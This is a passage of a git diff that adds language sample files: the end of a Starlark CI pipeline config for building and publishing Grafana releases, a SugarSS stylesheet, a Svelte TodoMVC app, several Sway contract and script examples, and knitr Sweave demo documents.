+        'depends_on': ['grabpl'],
+        'volumes': [{
+            'name': 'docker',
+            'path': '/var/run/docker.sock'
+        }],
+    }
+
+def publish_image_steps(version, mode, docker_repo, additional_docker_repo=""):
+    steps = [
+        download_grabpl_step(),
+        fetch_images_step(version),
+        publish_images_step(version, 'release', mode, docker_repo),
+    ]
+    if additional_docker_repo != "":
+        steps.extend([publish_images_step(version, 'release', mode, additional_docker_repo)])
+
+    return steps
+
+def publish_image_pipelines(mode):
+    trigger = {
+        'event': ['promote'],
+        'target': [mode],
+    }
+
+    return [pipeline(
+        name='publish-docker-oss-{}'.format(mode), trigger=trigger, steps=publish_image_steps(version='oss',  mode=mode, docker_repo='grafana', additional_docker_repo='grafana-oss'), edition=""
+    ), pipeline(
+        name='publish-docker-enterprise-{}'.format(mode), trigger=trigger, steps=publish_image_steps(version='enterprise',  mode=mode, docker_repo='grafana-enterprise'), edition=""
+    ),]
+
+def get_steps(edition, ver_mode):
+    package_steps = []
+    publish_steps = []
+    should_publish = ver_mode == 'release'
+    should_upload = should_publish or ver_mode in ('release-branch',)
+    include_enterprise2 = edition == 'enterprise'
+    edition2 = 'enterprise2'
+    init_steps = [
+        identify_runner_step(),
+        download_grabpl_step(),
+        gen_version_step(ver_mode),
+        wire_install_step(),
+        yarn_install_step(),
+    ]
+
+    test_steps = []
+    if edition != 'enterprise':
+        test_steps.extend([shellcheck_step()])
+
+    test_steps.extend([
+        codespell_step(),
+        lint_backend_step(edition=edition),
+        lint_frontend_step(),
+        test_backend_step(edition=edition),
+        test_backend_integration_step(edition=edition),
+        test_frontend_step(),
+    ])
+
+    build_steps = [
+        build_backend_step(edition=edition, ver_mode=ver_mode),
+        build_frontend_step(edition=edition, ver_mode=ver_mode),
+        build_frontend_package_step(edition=edition, ver_mode=ver_mode),
+        build_plugins_step(edition=edition, sign=True),
+        validate_scuemata_step(),
+        ensure_cuetsified_step(),
+    ]
+
+    integration_test_steps = [
+        postgres_integration_tests_step(edition=edition, ver_mode=ver_mode),
+        mysql_integration_tests_step(edition=edition, ver_mode=ver_mode),
+    ]
+
+
+    if include_enterprise2:
+        test_steps.extend([
+            lint_backend_step(edition=edition2),
+            test_backend_step(edition=edition2),
+            test_backend_integration_step(edition=edition2),
+        ])
+        build_steps.extend([
+            build_backend_step(edition=edition2, ver_mode=ver_mode, variants=['linux-amd64']),
+        ])
+
+    # Insert remaining steps
+    build_steps.extend([
+        package_step(edition=edition, ver_mode=ver_mode, include_enterprise2=include_enterprise2),
+        copy_packages_for_docker_step(),
+        build_docker_images_step(edition=edition, ver_mode=ver_mode, publish=True),
+        build_docker_images_step(edition=edition, ver_mode=ver_mode, ubuntu=True, publish=True),
+        grafana_server_step(edition=edition),
+    ])
+
+    if not disable_tests:
+        build_steps.extend([
+            e2e_tests_step('dashboards-suite', edition=edition, tries=3),
+            e2e_tests_step('smoke-tests-suite', edition=edition, tries=3),
+            e2e_tests_step('panels-suite', edition=edition, tries=3),
+            e2e_tests_step('various-suite', edition=edition, tries=3),
+            e2e_tests_artifacts(edition=edition),
+        ])
+
+    build_storybook = build_storybook_step(edition=edition, ver_mode=ver_mode)
+    if build_storybook:
+        build_steps.append(build_storybook)
+
+    if include_enterprise2:
+      integration_test_steps.extend([redis_integration_tests_step(), memcached_integration_tests_step()])
+
+    if should_upload:
+        publish_steps.append(upload_cdn_step(edition=edition, ver_mode=ver_mode, trigger=trigger_oss))
+        publish_steps.append(upload_packages_step(edition=edition, ver_mode=ver_mode, trigger=trigger_oss))
+    if should_publish:
+        publish_step = store_storybook_step(edition=edition, ver_mode=ver_mode)
+        store_npm_step = store_npm_packages_step()
+        if publish_step:
+            publish_steps.append(publish_step)
+        if store_npm_step:
+            publish_steps.append(store_npm_step)
+    windows_package_steps = get_windows_steps(edition=edition, ver_mode=ver_mode)
+
+    if include_enterprise2:
+        publish_steps.extend([
+            package_step(edition=edition2, ver_mode=ver_mode, include_enterprise2=include_enterprise2, variants=['linux-amd64']),
+            upload_cdn_step(edition=edition2, ver_mode=ver_mode),
+        ])
+        if should_upload:
+            step = upload_packages_step(edition=edition2, ver_mode=ver_mode)
+            if step:
+                publish_steps.append(step)
+
+    return init_steps, test_steps, build_steps, integration_test_steps, package_steps, windows_package_steps, publish_steps
+
+def get_oss_pipelines(trigger, ver_mode):
+    edition = 'oss'
+    services = integration_test_services(edition=edition)
+    volumes = integration_test_services_volumes()
+    init_steps, test_steps, build_steps, integration_test_steps, package_steps, windows_package_steps, publish_steps = get_steps(edition=edition, ver_mode=ver_mode)
+    windows_pipeline = pipeline(
+        name='oss-windows-{}'.format(ver_mode), edition=edition, trigger=trigger,
+        steps=[identify_runner_step('windows')] + windows_package_steps,
+        platform='windows', depends_on=[
+            'oss-build{}-publish-{}'.format(get_e2e_suffix(), ver_mode),
+        ],
+    )
+    pipelines = [
+        pipeline(
+            name='oss-build{}-publish-{}'.format(get_e2e_suffix(), ver_mode), edition=edition, trigger=trigger, services=[],
+            steps=init_steps + build_steps + package_steps + publish_steps,
+            volumes=volumes,
+        ),
+    ]
+    if not disable_tests:
+        pipelines.extend([
+            pipeline(
+                name='oss-test-{}'.format(ver_mode), edition=edition, trigger=trigger, services=[],
+                steps=init_steps + test_steps,
+                volumes=[],
+            ),
+            pipeline(
+                name='oss-integration-tests-{}'.format(ver_mode), edition=edition, trigger=trigger, services=services,
+                steps=[download_grabpl_step(), identify_runner_step(),] + integration_test_steps,
+                volumes=volumes,
+            )
+        ])
+        deps = {
+            'depends_on': [
+                'oss-build{}-publish-{}'.format(get_e2e_suffix(), ver_mode),
+                'oss-test-{}'.format(ver_mode),
+                'oss-integration-tests-{}'.format(ver_mode)
+            ]
+        }
+        windows_pipeline.update(deps)
+
+    pipelines.extend([windows_pipeline])
+    return pipelines
+
+def get_enterprise_pipelines(trigger, ver_mode):
+    edition = 'enterprise'
+    services = integration_test_services(edition=edition)
+    volumes = integration_test_services_volumes()
+    deps_on_clone_enterprise_step = {
+        'depends_on': [
+            'init-enterprise',
+        ]
+    }
+    _, test_steps, build_steps, integration_test_steps, package_steps, windows_package_steps, publish_steps = get_steps(edition=edition, ver_mode=ver_mode)
+    init_steps = [
+        download_grabpl_step(),
+        identify_runner_step(),
+        clone_enterprise_step(ver_mode),
+        init_enterprise_step(ver_mode)
+    ]
+    for step in [wire_install_step(), yarn_install_step(), gen_version_step(ver_mode)]:
+        step.update(deps_on_clone_enterprise_step)
+        init_steps.extend([step])
+
+    for step in integration_test_steps:
+        step.update(deps_on_clone_enterprise_step)
+
+    windows_pipeline = pipeline(
+        name='enterprise-windows-{}'.format(ver_mode), edition=edition, trigger=trigger,
+        steps=[identify_runner_step('windows')] + windows_package_steps,
+        platform='windows', depends_on=[
+            'enterprise-build{}-publish-{}'.format(get_e2e_suffix(), ver_mode),
+        ],
+    )
+    pipelines = [
+        pipeline(
+            name='enterprise-build{}-publish-{}'.format(get_e2e_suffix(), ver_mode), edition=edition, trigger=trigger, services=[],
+            steps=init_steps + build_steps + package_steps + publish_steps,
+            volumes=volumes,
+        ),
+    ]
+    if not disable_tests:
+        pipelines.extend([
+            pipeline(
+                name='enterprise-test-{}'.format(ver_mode), edition=edition, trigger=trigger, services=[],
+                steps=init_steps + test_steps,
+                volumes=[],
+            ),
+            pipeline(
+                name='enterprise-integration-tests-{}'.format(ver_mode), edition=edition, trigger=trigger, services=services,
+                steps=[download_grabpl_step(), identify_runner_step(), clone_enterprise_step(ver_mode), init_enterprise_step(ver_mode),] + integration_test_steps,
+                volumes=volumes,
+            ),
+        ])
+        deps = {
+            'depends_on': [
+                'enterprise-build{}-publish-{}'.format(get_e2e_suffix(), ver_mode),
+                'enterprise-test-{}'.format(ver_mode),
+                'enterprise-integration-tests-{}'.format(ver_mode)
+            ]
+        }
+        windows_pipeline.update(deps)
+
+    pipelines.extend([windows_pipeline])
+
+    return pipelines
+
+def publish_artifacts_step(mode):
+    security = ''
+    if mode == 'security':
+        security = '--security '
+    return {
+        'name': 'publish-artifacts',
+        'image': publish_image,
+        'environment': {
+            'GCP_KEY': from_secret('gcp_key'),
+            'PRERELEASE_BUCKET': from_secret('prerelease_bucket'),
+        },
+        'commands': ['./bin/grabpl artifacts publish {}--tag ${{TAG}} --src-bucket $${{PRERELEASE_BUCKET}}'.format(security)],
+        'depends_on': ['grabpl'],
+    }
+
+def publish_packages_step(edition):
+    return {
+        'name': 'publish-packages-{}'.format(edition),
+        'image': publish_image,
+        'environment': {
+            'GCP_KEY': from_secret('gcp_key'),
+        },
+        'commands': ['./bin/grabpl store-packages {}'.format(edition)],
+        'depends_on': ['grabpl'],
+    }
+
+def publish_artifacts_pipelines(mode):
+    trigger = {
+        'event': ['promote'],
+        'target': [mode],
+    }
+    steps = [
+        download_grabpl_step(),
+        publish_artifacts_step(mode),
+    ]
+
+    return [pipeline(
+        name='publish-artifacts-{}'.format(mode), trigger=trigger, steps=steps, edition="all"
+    )]
+
+def publish_packages_pipeline():
+    trigger = {
+        'event': ['promote'],
+        'target': ['public'],
+    }
+    oss_steps = [
+        download_grabpl_step(),
+        store_packages_step(edition='oss', ver_mode='release'),
+    ]
+
+    enterprise_steps = [
+        download_grabpl_step(),
+        store_packages_step(edition='enterprise', ver_mode='release'),
+    ]
+    deps = [
+        'publish-artifacts-public',
+        'publish-docker-oss-public',
+        'publish-docker-enterprise-public'
+    ]
+
+    return [pipeline(
+        name='publish-packages-oss', trigger=trigger, steps=oss_steps, edition="all", depends_on=deps
+    ), pipeline(
+        name='publish-packages-enterprise', trigger=trigger, steps=enterprise_steps, edition="all", depends_on=deps
+    )]
+
+def publish_npm_pipelines(mode):
+    trigger = {
+        'event': ['promote'],
+        'target': [mode],
+    }
+    steps = [
+        download_grabpl_step(),
+        yarn_install_step(),
+        retrieve_npm_packages_step(),
+        release_npm_packages_step()
+    ]
+
+    return [pipeline(
+        name='publish-npm-packages-{}'.format(mode), trigger=trigger, steps = steps, edition="all"
+    )]
+
+def release_pipelines(ver_mode='release', trigger=None):
+    # 'enterprise' edition services contain both OSS and enterprise services
+    if not trigger:
+        trigger = {
+            'event': {
+                'exclude': [
+                    'promote'
+                ]
+            },
+            'ref': ['refs/tags/v*',],
+            'repo': {
+                'exclude': ['grafana/grafana'],
+            },
+        }
+
+    # The release pipelines include also enterprise ones, so both editions are built for a release.
+    # We could also solve this by triggering a downstream build for the enterprise repo, but by including enterprise
+    # in OSS release builds, we simplify the UX for the release engineer.
+    oss_pipelines = get_oss_pipelines(ver_mode=ver_mode, trigger=trigger)
+    enterprise_pipelines = get_enterprise_pipelines(ver_mode=ver_mode, trigger=trigger)
+
+    pipelines = oss_pipelines + enterprise_pipelines
+
+    return pipelines
+
+def get_e2e_suffix():
+    if not disable_tests:
+        return '-e2e'
+    return ''
diff --git a/samples/HTML/ApiOverviewPage.st b/samples/StringTemplate/ApiOverviewPage.st
similarity index 100%
rename from samples/HTML/ApiOverviewPage.st
rename to samples/StringTemplate/ApiOverviewPage.st
diff --git a/samples/SugarSS/sample.sss b/samples/SugarSS/sample.sss
new file mode 100644
index 0000000000..f9b4e201c9
--- /dev/null
+++ b/samples/SugarSS/sample.sss
@@ -0,0 +1,10 @@
+@define-mixin size $size
+  width: $size
+
+$big: 100px
+
+// Main block
+.block
+  &_logo
+    background: inline("./logo.png")
+    @mixin size $big
diff --git a/samples/Svelte/TodoMVC.svelte b/samples/Svelte/TodoMVC.svelte
new file mode 100644
index 0000000000..066fcedf88
--- /dev/null
+++ b/samples/Svelte/TodoMVC.svelte
@@ -0,0 +1,145 @@
+<script>
+    const ENTER_KEY = 13;
+    const ESCAPE_KEY = 27;
+
+    let currentFilter = 'all';
+    let items = [];
+    let editing = null;
+
+    try {
+        items = JSON.parse(localStorage.getItem('todos-svelte')) || [];
+    } catch (err) {
+        items = [];
+    }
+
+    const updateView = () => {
+        currentFilter = 'all';
+        if (window.location.hash === '#/active') {
+            currentFilter = 'active';
+        } else if (window.location.hash === '#/completed') {
+            currentFilter = 'completed';
+        }
+    };
+
+    window.addEventListener('hashchange', updateView);
+    updateView();
+
+    function clearCompleted() {
+        items = items.filter(item => !item.completed);
+    }
+
+    function remove(index) {
+        items = items.slice(0, index).concat(items.slice(index + 1));
+    }
+
+    function toggleAll(event) {
+        items = items.map(item => ({
+            id: item.id,
+            description: item.description,
+            completed: event.target.checked
+        }));
+    }
+
+    function createNew(event) {
+        if (event.which === ENTER_KEY) {
+            items = items.concat({
+                id: uuid(),
+                description: event.target.value,
+                completed: false
+            });
+            event.target.value = '';
+        }
+    }
+
+    function handleEdit(event) {
+        if (event.which === ENTER_KEY) event.target.blur();
+        else if (event.which === ESCAPE_KEY) editing = null;
+    }
+
+    function submit(event) {
+        items[editing].description = event.target.value;
+        editing = null;
+    }
+
+    function uuid() {
+        return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
+            var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8);
+            return v.toString(16);
+        });
+    }
+
+    $: filtered = currentFilter === 'all'
+        ? items
+        : currentFilter === 'completed'
+            ? items.filter(item => item.completed)
+            : items.filter(item => !item.completed);
+
+    $: numActive = items.filter(item => !item.completed).length;
+
+    $: numCompleted = items.filter(item => item.completed).length;
+
+    $: try {
+        localStorage.setItem('todos-svelte', JSON.stringify(items));
+    } catch (err) {
+        // noop
+    }
+</script>
+
+<header class="header">
+    <h1>todos</h1>
+    <input
+        class="new-todo"
+        on:keydown={createNew}
+        placeholder="What needs to be done?"
+        autofocus
+    >
+</header>
+
+{#if items.length > 0}
+    <section class="main">
+        <input id="toggle-all" class="toggle-all" type="checkbox" on:change={toggleAll} checked="{numCompleted === items.length}">
+        <label for="toggle-all">Mark all as complete</label>
+
+        <ul class="todo-list">
+            {#each filtered as item, index (item.id)}
+                <li class="{item.completed ? 'completed' : ''} {editing === index ? 'editing' : ''}">
+                    <div class="view">
+                        <input class="toggle" type="checkbox" bind:checked={item.completed}>
+                        <label on:dblclick="{() => editing = index}">{item.description}</label>
+                        <button on:click="{() => remove(index)}" class="destroy"></button>
+                    </div>
+
+                    {#if editing === index}
+                        <input
+                            value='{item.description}'
+                            id="edit"
+                            class="edit"
+                            on:keydown={handleEdit}
+                            on:blur={submit}
+                            autofocus
+                        >
+                    {/if}
+                </li>
+            {/each}
+        </ul>
+
+        <footer class="footer">
+            <span class="todo-count">
+                <strong>{numActive}</strong> {numActive === 1 ? 'item' : 'items'} left
+            </span>
+
+            <ul class="filters">
+                <li><a class="{currentFilter === 'all' ? 'selected' : ''}" href="#/">All</a></li>
+                <li><a class="{currentFilter === 'active' ? 'selected' : ''}" href="#/active">Active</a></li>
+                <li><a class="{currentFilter === 'completed' ? 'selected' : ''}" href="#/completed">Completed</a></li>
+            </ul>
+
+            {#if numCompleted}
+                <button class="clear-completed" on:click={clearCompleted}>
+                    Clear completed
+                </button>
+            {/if}
+        </footer>
+    </section>
+{/if}
+
diff --git a/samples/Sway/arrays.sw b/samples/Sway/arrays.sw
new file mode 100644
index 0000000000..f03e75bfec
--- /dev/null
+++ b/samples/Sway/arrays.sw
@@ -0,0 +1,34 @@
+script;
+
+struct Foo {
+    f1: u32,
+    f2: b256,
+}
+
+fn main() {
+    // Array of integers with type ascription
+    let array_of_integers: [u8; 5] = [1, 2, 3, 4, 5];
+
+    // Array of strings
+    let array_of_strings = ["Bob", "Jan", "Ron"];
+
+    // Array of structs
+    let array_of_structs: [Foo; 2] = [
+        Foo {
+            f1: 11,
+            f2: 0x1111111111111111111111111111111111111111111111111111111111111111,
+        },
+        Foo {
+            f1: 22,
+            f2: 0x2222222222222222222222222222222222222222222222222222222222222222,
+        },
+    ];
+
+    // Accessing an element of an array
+    let mut array_of_bools: [bool; 2] = [true, false];
+    assert(array_of_bools[0]);
+
+    // Mutating the element of an array
+    array_of_bools[1] = true;
+    assert(array_of_bools[1]);
+}
diff --git a/samples/Sway/generic_traits.sw b/samples/Sway/generic_traits.sw
new file mode 100644
index 0000000000..ec20f55881
--- /dev/null
+++ b/samples/Sway/generic_traits.sw
@@ -0,0 +1,220 @@
+script;
+
+dep my_double;
+dep my_point;
+dep my_triple;
+
+use my_point::MyPoint;
+use my_triple::MyTriple;
+
+trait Setter<T> {
+    fn set(self, new_value: T) -> Self;
+}
+
+struct FooBarData<T> {
+    value: T
+}
+
+impl<T> Setter<T> for FooBarData<T> {
+    fn set(self, new_value: T) -> Self {
+        FooBarData {
+            value: new_value,
+        }
+    }
+}
+
+trait Returner<T> {
+    fn return_it(self, the_value: T) -> T;
+}
+
+impl<T, F> Returner<T> for FooBarData<F> {
+    fn return_it(self, the_value: T) -> T {
+        the_value
+    }
+}
+
+trait MyAdd<T> {
+    fn my_add(self, a: T, b: T) -> T;
+}
+
+// impl<T> MyAdd<u8> for FooBarData<T> {
+//     fn my_add(self, a: u8, b: u8) -> u8 {
+//         a + b
+//     }
+// }
+
+impl<T> MyAdd<u64> for FooBarData<T> {
+    fn my_add(self, a: u64, b: u64) -> u64 {
+        a + b
+    }
+}
+
+trait MySub<T> {
+    fn my_sub(a: T, b: T) -> T;
+}
+
+// impl<T> MySub<u8> for FooBarData<T> {
+//     fn my_sub(a: u8, b: u8) -> u8 {
+//         if a >= b {
+//             a - b
+//         } else {
+//             b - a
+//         }
+//     }
+// }
+
+impl<T> MySub<u64> for FooBarData<T> {
+    fn my_sub(a: u64, b: u64) -> u64 {
+        if a >= b {
+            a - b
+        } else {
+            b - a
+        }
+    }
+}
+
+struct OtherData<T> {
+    a: T,
+    b: T,
+}
+
+// impl<T> MyAdd<u8> for OtherData<T> {
+//     fn my_add(self, a: u8, b: u8) -> u8 {
+//         a + b
+//     }
+// }
+
+impl<T> MyAdd<u64> for OtherData<T> {
+    fn my_add(self, a: u64, b: u64) -> u64 {
+        a + b
+    }
+}
+
+// impl<T> MySub<u8> for OtherData<T> {
+//     fn my_sub(a: u8, b: u8) -> u8 {
+//         if a >= b {
+//             a - b
+//         } else {
+//             b - a
+//         }
+//     }
+// }
+
+impl<T> MySub<u64> for OtherData<T> {
+    fn my_sub(a: u64, b: u64) -> u64 {
+        if a >= b {
+            a - b
+        } else {
+            b - a
+        }
+    }
+}
+
+impl MyTriple<u64> for MyPoint<u64> {
+    fn my_triple(self, value: u64) -> u64 {
+        (self.x*3) + (self.y*3) + (value*3)
+    }
+}
+
+struct MyU64 {
+    inner: u64
+}
+
+impl MyTriple<u64> for MyU64 {
+    fn my_triple(self, value: u64) -> u64 {
+        (self.inner*3) + (value*3)
+    }
+}
+
+pub struct A {
+    a: u64,
+}
+
+pub struct B {
+    b: u64,
+}
+
+pub struct C {
+    c: u64,
+}
+
+pub trait Convert<T> {
+    fn convert(t: T) -> Self;
+}
+
+impl Convert<B> for A {
+    fn convert(t: B) -> Self {
+        A {
+            a: t.b
+        }
+    }
+}
+
+impl Convert<C> for A {
+    fn convert(t: C) -> Self {
+        A {
+            a: t.c
+        }
+    }
+}
+
+fn main() -> u64 {
+    let a = FooBarData {
+        value: 1u8
+    };
+    let b = a.set(42);
+    let c = b.value;
+    let d = b.return_it(true);
+    let e = b.return_it(9u64);
+    let f = FooBarData {
+        value: 1u64
+    };
+    let g = f.my_add(a.my_add(1u8, 2u8), a.my_add(3u8, 4u8));
+    let h = FooBarData::<u64>::my_sub(
+        FooBarData::<u8>::my_sub(100, 10),
+        FooBarData::<u8>::my_sub(50, 10),
+    );
+    let i = OtherData {
+        a: true,
+        b: false,
+    };
+    let j = OtherData {
+        a: 10u32,
+        b: 11u32,
+    };
+    let k = j.my_add(i.my_add(1u8, 2u8), i.my_add(3u8, 4u8));
+    let l = FooBarData::<u16>::my_sub(
+        FooBarData::<u32>::my_sub(100, 10),
+        FooBarData::<u32>::my_sub(50, 10),
+    );
+    let m = MyPoint {
+        x: 10u64,
+        y: 10u64,
+    };
+    let n = m.my_double(100);
+    let o = m.my_triple(100);
+    let p = MyU64 {
+        inner: 30u64
+    };
+    let q = p.my_triple(1);
+
+    let r_b = B { b: 42 };
+    let r_c = C { c: 42 };
+
+    if c == 42u8
+        && d
+        && e == 9u64
+        && g == 10
+        && h == 50
+        && k == 10
+        && l == 50
+        && n == 240
+        && o == 360
+        && q == 93
+        && A::convert(r_b).a == 42
+        && A::convert(r_c).a == 42 {
+        42
+    } else {
+        7
+    }
+}
diff --git a/samples/Sway/struct_fns.sw b/samples/Sway/struct_fns.sw
new file mode 100644
index 0000000000..10ffcce8fb
--- /dev/null
+++ b/samples/Sway/struct_fns.sw
@@ -0,0 +1,81 @@
+library utils;
+
+dep data_structures;
+use data_structures::{Foo, Line, Point, TupleInStruct};
+
+fn hardcoded_instantiation() -> Foo {
+    // Instantiate `foo` as `Foo`
+    let mut foo = Foo {
+        bar: 42,
+        baz: false,
+    };
+
+    // Access and write to "baz"
+    foo.baz = true;
+
+    // Return the struct
+    foo
+}
+
+fn variable_instantiation() -> Foo {
+    // Declare variables with the same names as the fields in `Foo`
+    let number = 42;
+    let truthness = false;
+
+    // Instantiate `foo` as `Foo`
+    let mut foo = Foo {
+        bar: number,
+        baz: truthness,
+    };
+
+    // Access and write to "baz"
+    foo.baz = true;
+
+    // Return the struct
+    foo
+}
+
+fn shorthand_instantiation() -> Foo {
+    // Declare variables with the same names as the fields in `Foo`
+    let bar = 42;
+    let baz = false;
+
+    // Instantiate `foo` as `Foo`
+    let mut foo = Foo { bar, baz };
+
+    // Access and write to "baz"
+    foo.baz = true;
+
+    // Return the struct
+    foo
+}
+
+fn struct_destructuring() {
+    let point1 = Point { x: 0, y: 0 };
+    // Destructure the values from the struct into variables
+    let Point { x, y } = point1;
+
+    let point2 = Point { x: 1, y: 1 };
+    // If you do not care about specific struct fields then use ".." at the end of your variable list
+    let Point { x, .. } = point2;
+
+    let line = Line {
+        p1: point1,
+        p2: point2,
+    };
+    // Destructure the values from the nested structs into variables
+    let Line {
+        p1: Point { x: x0, y: y0 },
+        p2: Point { x: x1, y: y1 },
+    } = line;
+    // You may also destructure tuples nested in structs and structs nested in tuples
+    let tuple_in_struct = TupleInStruct {
+        nested_tuple: (42u64, (42u32, (true, "ok"))),
+    };
+    let TupleInStruct {
+        nested_tuple: (a, (b, (c, d))),
+    } = tuple_in_struct;
+
+    let struct_in_tuple = (Point { x: 2, y: 4 }, Point { x: 3, y: 6 });
+    let (Point { x: x0, y: y0 }, Point { x: x1, y: y1 }) = struct_in_tuple;
+}
diff --git a/samples/Sway/supertraits.sw b/samples/Sway/supertraits.sw
new file mode 100644
index 0000000000..7bc2ba76dd
--- /dev/null
+++ b/samples/Sway/supertraits.sw
@@ -0,0 +1,34 @@
+contract;
+
+trait MyTrait1 {
+    fn foo1();
+}
+
+trait MyTrait2 {
+    fn foo2();
+}
+
+abi MyAbi : MyTrait1 + MyTrait2 {
+    fn bar();
+} {
+    fn baz() {
+        Self::foo1();
+        Self::foo2();
+    }
+}
+
+impl MyTrait1 for Contract {
+    fn foo1() { }
+}
+
+impl MyTrait2 for Contract {
+    fn foo2() { }
+}
+
+// The implementation of MyAbi for Contract should also implement MyTrait1 and MyTrait2
+impl MyAbi for Contract {
+    fn bar() {
+        Self::foo1();
+        Self::foo2();
+    }
+}
diff --git a/samples/Sway/wallet.sw b/samples/Sway/wallet.sw
new file mode 100644
index 0000000000..5596f8a32f
--- /dev/null
+++ b/samples/Sway/wallet.sw
@@ -0,0 +1,37 @@
+contract;
+
+abi Wallet {
+    #[storage(read, write)]
+    fn receive();
+
+    #[storage(read, write)]
+    fn send(amount: u64, recipient: Identity);
+}
+use std::{
+    auth::msg_sender,
+    call_frames::msg_asset_id,
+    constants::BASE_ASSET_ID,
+    context::msg_amount,
+    token::transfer,
+};
+
+storage {
+    balance: u64 = 0,
+}
+
+const OWNER = Address::from(0x8900c5bec4ca97d4febf9ceb4754a60d782abbf3cd815836c1872116f203f861);
+
+impl Wallet for Contract {
+    #[storage(read, write)]
+    fn receive() {
+        assert(msg_asset_id() == BASE_ASSET_ID);
+        storage.balance += msg_amount();
+    }
+
+    #[storage(read, write)]
+    fn send(amount: u64, recipient: Identity) {
+        assert(msg_sender().unwrap() == Identity::Address(OWNER));
+        storage.balance -= amount;
+        transfer(amount, BASE_ASSET_ID, recipient);
+    }
+}
diff --git a/samples/Sweave/knitr-beamer.Rnw b/samples/Sweave/knitr-beamer.Rnw
new file mode 100644
index 0000000000..cb94811720
--- /dev/null
+++ b/samples/Sweave/knitr-beamer.Rnw
@@ -0,0 +1,120 @@
+%% LyX 2.2.1 created this file.  For more info, see http://www.lyx.org/.
+%% Do not edit unless you really know what you are doing.
+\documentclass[10pt]{beamer}
+\usepackage[T1]{fontenc}
+\setcounter{secnumdepth}{3}
+\setcounter{tocdepth}{3}
+\usepackage{url}
+\ifx\hypersetup\undefined
+  \AtBeginDocument{%
+    \hypersetup{unicode=true,pdfusetitle,
+ bookmarks=true,bookmarksnumbered=false,bookmarksopen=false,
+ breaklinks=false,pdfborder={0 0 0},pdfborderstyle={},backref=false,colorlinks=false}
+  }
+\else
+  \hypersetup{unicode=true,pdfusetitle,
+ bookmarks=true,bookmarksnumbered=false,bookmarksopen=false,
+ breaklinks=false,pdfborder={0 0 0},pdfborderstyle={},backref=false,colorlinks=false}
+\fi
+\usepackage{breakurl}
+
+\makeatletter
+
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LyX specific LaTeX commands.
+\providecommand{\LyX}{\texorpdfstring%
+  {L\kern-.1667em\lower.25em\hbox{Y}\kern-.125emX\@}
+  {LyX}}
+
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Textclass specific LaTeX commands.
+ % this default might be overridden by plain title style
+ \newcommand\makebeamertitle{\frame{\maketitle}}%
+ % (ERT) argument for the TOC
+ \AtBeginDocument{%
+   \let\origtableofcontents=\tableofcontents
+   \def\tableofcontents{\@ifnextchar[{\origtableofcontents}{\gobbletableofcontents}}
+   \def\gobbletableofcontents#1{\origtableofcontents}
+ }
+
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% User specified LaTeX commands.
+\usetheme{PaloAlto}
+
+\makeatother
+
+\begin{document}
+<<setup, include=FALSE>>=
+library(knitr)
+opts_chunk$set(fig.path='figure/beamer-',fig.align='center',fig.show='hold',size='footnotesize')
+@
+
+\title[knitr, Beamer, and FragileFrame]{A Minimal Demo of knitr with Beamer and Fragile Frames}
+
+\author{Yihui Xie\thanks{I thank Richard E. Goldberg for providing this demo.}}
+\makebeamertitle
+\begin{frame}{Background}
+
+\begin{itemize}
+\item The \textbf{knitr}\textbf{\emph{ }}package allows you to embed R code
+and figures in \LaTeX{} documents
+
+\begin{itemize}
+\item It has functionality similar to Sweave but looks nicer and gives you
+more control
+\end{itemize}
+\item If you already have Sweave working in \LyX{}, getting \textbf{knitr}
+to work is trivial
+
+\begin{enumerate}
+\item Install the \textbf{knitr} package in \emph{R}
+\item Read \url{https://yihui.org/knitr/demo/lyx/}
+\end{enumerate}
+\item If you use Sweave or \textbf{knitr} with Beamer in \LyX{}, you must
+use the\emph{ FragileFrame} environment for the frames that contain
+R code chunks. Let's see if \textbf{knitr} works with Beamer in this
+small demo. 
+\end{itemize}
+\end{frame}
+
+\section{First Test}
+\begin{frame}[fragile]{First Test}
+
+OK, let's get started with just some text:
+
+<<echo=FALSE,results='hide'>>=
+# some setup
+options(width=60)  # make the printing fit on the page
+set.seed(1121)   # make the results repeatable
+@
+
+<<>>= 
+# create some random numbers
+(x=rnorm(20))  
+mean(x);var(x)  
+@
+
+BTW, the first element of \texttt{x} is \Sexpr{x[1]}. (Did you notice
+the use of\texttt{ \textbackslash{}Sexpr\{\}}?)
+\end{frame}
+
+\section{Second Test}
+\begin{frame}[fragile]{Second Test}
+
+Text is nice but let's see what happens if we make a couple of plots
+in our chunk:
+
+<<boring-plots,fig.width=4,fig.height=4,out.width='.45\\linewidth'>>=
+par(las=1,mar=c(4,4,.1,.1))  # tick labels direction
+boxplot(x) 
+hist(x,main='',col="blue",probability=TRUE) 
+lines(density(x),col="red")
+@
+\end{frame}
+
+\section{The Big Question}
+\begin{frame}{The Big Question}
+
+Do the above chunks work? You should be able to compile the \LyX{}
+document and get a nice-looking PDF slide presentation. If not, time
+to double-check everything...
+\end{frame}
+
+\end{document}
diff --git a/samples/Sweave/knitr-minimal.Rnw b/samples/Sweave/knitr-minimal.Rnw
new file mode 100644
index 0000000000..fcd135fec9
--- /dev/null
+++ b/samples/Sweave/knitr-minimal.Rnw
@@ -0,0 +1,53 @@
+%% LyX 2.2.1 created this file.  For more info, see http://www.lyx.org/.
+%% Do not edit unless you really know what you are doing.
+\documentclass{article}
+\usepackage[sc]{mathpazo}
+\usepackage[T1]{fontenc}
+\usepackage{geometry}
+\geometry{verbose,tmargin=2.5cm,bmargin=2.5cm,lmargin=2.5cm,rmargin=2.5cm}
+\setcounter{secnumdepth}{2}
+\setcounter{tocdepth}{2}
+\usepackage{url}
+\usepackage[unicode=true,pdfusetitle,
+ bookmarks=true,bookmarksnumbered=true,bookmarksopen=true,bookmarksopenlevel=2,
+ breaklinks=false,pdfborder={0 0 1},backref=false,colorlinks=false]
+ {hyperref}
+\hypersetup{
+ pdfstartview={XYZ null null 1}}
+\usepackage{breakurl}
+\begin{document}
+<<setup, include=FALSE, cache=FALSE>>=
+library(knitr)
+# set global chunk options
+opts_chunk$set(fig.path='figure/minimal-', fig.align='center', fig.show='hold')
+options(formatR.arrow=TRUE,width=90)
+@
+
+\title{A Minimal Demo of knitr}
+
+\author{Yihui Xie}
+
+\maketitle
+You can test if \textbf{knitr} works with this minimal demo. OK, let's
+get started with some boring random numbers:
+
+<<boring-random>>=
+set.seed(1121)
+(x=rnorm(20))
+mean(x);var(x)
+@
+
